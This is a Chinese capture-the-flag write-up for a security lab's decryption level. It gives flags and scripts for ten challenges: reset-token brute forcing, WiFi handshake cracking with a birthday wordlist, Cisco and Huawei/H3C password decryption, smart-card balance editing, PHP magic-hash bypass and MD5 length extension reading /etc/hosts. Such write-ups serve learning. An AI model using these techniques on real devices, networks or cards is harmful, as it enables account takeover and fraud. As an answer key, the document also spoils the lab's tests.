网络安全实验室6.解密关
字数 1408 2025-08-24 10:10:13

网络安全实验室解密关详细教学文档

1. 管理员密码重置漏洞利用

漏洞原理

系统在密码重置功能中使用时间戳的MD5值作为验证参数(sukey),且服务器时间与北京时间存在8小时偏差。

利用步骤

  1. 访问密码重置页面:http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/index.php
  2. 点击"忘记密码"进入重置模块
  3. 输入任意用户名(如aaa)并抓包
  4. 分析返回的链接,发现sukey参数为MD5加密的时间戳

两种攻击方法

方法一:BurpSuite爆破

  1. 确定时间戳范围(如1xxxx0000到1xxxx0000)
  2. 生成时间戳字典:
with open("pass.txt","w") as f:
    for x in range(1xxxx0000,1xxxx0000):
        f.write("%d\n" % x)
  1. 使用BurpSuite爆破,设置MD5加密
  2. 查找响应长度不同的结果

方法二:Python脚本爆破

import requests
import hashlib
import time

se = requests.session()
headers = {'Cookie': 'PHPSESSID=423613048c7ae8017f654bea6fafe808'}

while 1:
    sukey = hashlib.new('md5', str(int(time.time()) - 28800)).hexdigest()
    url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + sukey + '&username=admin'
    r = se.get(url, headers=headers)
    if r.content:
        print r.content
        break
    else:
        print 'Cracking: ' + sukey

最终结果yestimeispassword

2. WIFI密码破解

攻击步骤

  1. 下载wifi-crack.cap握手包
  2. 根据提示(2014年大三)推测密码为1993或1994年出生的8位数字生日
  3. 生成生日字典:
with open("dic.txt","w") as f:
    for year in range(1990,2014):
        for month in range(1,12):
            for day in range(1,32):
                f.write("%d%02d%02d\n" % (year,month,day))
  1. 使用EWSA导入握手包和字典进行爆破
  2. 找到密码后计算MD5(小写)

结果密码19940808
MD5值e1a45d0d24cb87490b9efb2fc2e8a2ba

3. Cisco交换机密码破解

两种解密方法

方法一:在线工具

使用Cisco Password Cracker

方法二:Python脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
    from cisco_decrypt import CiscoPassword
except ImportError:
    raise SystemExit('\n模块导入错误,请使用pip进行安装!')

cisco_pass = '02070D48030F1C294940041801181C0C140D0A0A20253A3B'
crack = CiscoPassword()
password = crack.decrypt(cisco_pass)
print password

解密结果aishishenmadongxi@Admin

4. Huawei/H3C交换机密码解密

解密方法

使用DES解密算法:

from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a': r = '?'
    else: r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24
    out = [0] * 18
    for i in range(0, len(s), 4):
        y = decode_char(s[i+0])
        y = (y << 6) & 0xffffff
        k = decode_char(s[i+1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff
        k = decode_char(s[i+2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff
        k = decode_char(s[i+3])
        y = (y | k) & 0xffffff
        out[j+2] = chr(y & 0xff)
        out[j+1] = chr((y >> 8) & 0xff)
        out[j+0] = chr((y >> 16) & 0xff)
        j += 3
    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)
    r = r[:16]
    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)
    return r.rstrip("\x00")

miwen = "aK9Q4I)J'#[Q=^Q`MAF4<1!!"
print u'明文' + decrypt_password(miwen)

解密结果84432079

5. 卡片数据修改

解题步骤

  1. 下载dump文件并用WinHex打开
  2. 发现前8行有意义,70后为无用重复字节
  3. 修改第一个字节从AA改为8A
  4. 将金额从100.00(十六进制2710)改为200.00(十六进制4e20)
  5. 在文件中查找1027并替换为204e

最终keycardcrack_skill_get!

6. 异常数据解密

解题方法

使用Base64变种解密,尝试大小写组合:

from base64 import *
import re

def dfs(res, arr, pos):
    res.append(''.join(arr))
    for i in range(pos, len(arr)):
        if arr[i] <= 'Z' and arr[i] >= 'A':
            arr[i] = arr[i].lower()
            dfs(res, arr, i+1)
            arr[i] = arr[i].upper()

arr = list('AGV5IULSB3ZLVSE=')
res = []
dfs(res, arr, 0)
res_decode = map(b64decode, res)
for i in res_decode:
    if re.findall(r'\\x', repr(i)):
        continue
    else:
        print i

解密结果hey!IloveU!

7. MD5碰撞漏洞

漏洞原理

PHP在处理0e开头的MD5哈希时会将其解释为0,导致弱类型比较相等。

利用方法

寻找MD5值为0e开头的字符串:

  • !1793422703!的MD5:0e332932043729729062996282883873
  • 可用值:s878926199a240610708QNKCDZO

验证结果yesyouareclever!

8. 逻辑分析仪数据解析

解题步骤

  1. 下载.logicdata文件
  2. 使用Saleae Logic软件打开
  3. 添加Async Serial分析器
  4. 查看解码结果

解码结果iloveyou,xiaoguniang!

9. MD5长度扩展攻击

攻击步骤

  1. 使用hash_extender工具:
./hash_extender -f md5 -l 32 -d '/etc/hosts' -s 'f3d366138601b5afefbd4fc15731692e' -a '' --out-data-format=html
  1. 组合New string和New signature构造URL:
http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00&sign=1b17d9594eb404c97c5090b11660ac63

获取FlagMd5LenghtExtAttackNowYouSee

10. 二进制程序分析

解题方法

  1. 下载exe文件
  2. 分析发现需要输入长度大于50的字符串
  3. 通过逆向或动态调试获取关键信息

最终key0h_No_u_f0und_m3

网络安全实验室解密关详细教学文档 1. 管理员密码重置漏洞利用 漏洞原理 系统在密码重置功能中使用时间戳的MD5值作为验证参数(sukey),且服务器时间与北京时间存在8小时偏差。 利用步骤 访问密码重置页面: http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/index.php 点击"忘记密码"进入重置模块 输入任意用户名(如aaa)并抓包 分析返回的链接,发现sukey参数为MD5加密的时间戳 两种攻击方法 方法一:BurpSuite爆破 确定时间戳范围(如1xxxx0000到1xxxx0000) 生成时间戳字典: 使用BurpSuite爆破,设置MD5加密 查找响应长度不同的结果 方法二:Python脚本爆破 最终结果 : yestimeispassword 2. WIFI密码破解 攻击步骤 下载wifi-crack.cap握手包 根据提示(2014年大三)推测密码为1993或1994年出生的8位数字生日 生成生日字典: 使用EWSA导入握手包和字典进行爆破 找到密码后计算MD5(小写) 结果密码 : 19940808 MD5值 : e1a45d0d24cb87490b9efb2fc2e8a2ba 3. Cisco交换机密码破解 两种解密方法 方法一:在线工具 使用 Cisco Password Cracker 方法二:Python脚本 解密结果 : aishishenmadongxi@Admin 4. Huawei/H3C交换机密码解密 解密方法 使用DES解密算法: 解密结果 : 84432079 5. 卡片数据修改 解题步骤 下载dump文件并用WinHex打开 发现前8行有意义,70后为无用重复字节 修改第一个字节从AA改为8A 将金额从100.00(十六进制2710)改为200.00(十六进制4e20) 在文件中查找1027并替换为204e 最终key : cardcrack_skill_get! 6. 异常数据解密 解题方法 使用Base64变种解密,尝试大小写组合: 解密结果 : hey!IloveU! 7. MD5碰撞漏洞 漏洞原理 PHP在处理0e开头的MD5哈希时会将其解释为0,导致弱类型比较相等。 利用方法 寻找MD5值为0e开头的字符串: !1793422703! 的MD5: 0e332932043729729062996282883873 可用值: s878926199a 、 240610708 、 QNKCDZO 验证结果 : yesyouareclever! 8. 逻辑分析仪数据解析 解题步骤 下载.logicdata文件 使用Saleae Logic软件打开 添加Async Serial分析器 查看解码结果 解码结果 : iloveyou,xiaoguniang! 9. MD5长度扩展攻击 攻击步骤 使用hash_ extender工具: 组合New string和New signature构造URL: 获取Flag : Md5LenghtExtAttackNowYouSee 10. 二进制程序分析 解题方法 下载exe文件 分析发现需要输入长度大于50的字符串 通过逆向或动态调试获取关键信息 最终key : 0h_No_u_f0und_m3